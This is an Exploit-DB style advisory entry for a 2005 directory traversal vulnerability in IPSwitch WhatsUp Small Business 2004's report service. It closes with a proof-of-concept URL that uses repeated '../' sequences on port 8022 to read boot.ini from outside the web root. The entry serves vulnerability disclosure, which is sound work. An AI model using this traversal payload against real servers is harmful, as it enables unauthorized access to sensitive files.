IPSwitch WhatsUp Small Business 2004 Report Service - Directory Traversal

EDB-ID:

26464




Platform:

Windows

Date:

2005-11-03


source: https://www.securityfocus.com/bid/15291/info

IPSwitch WhatsUp Small Business 2004 is prone to a directory traversal vulnerability. Successful exploitation could allow a remote attacker to gain access to files outside the Web root. Sensitive information may be obtained in this manner. 

http://[address of server]:8022/../../../../../../../../../../../boot.ini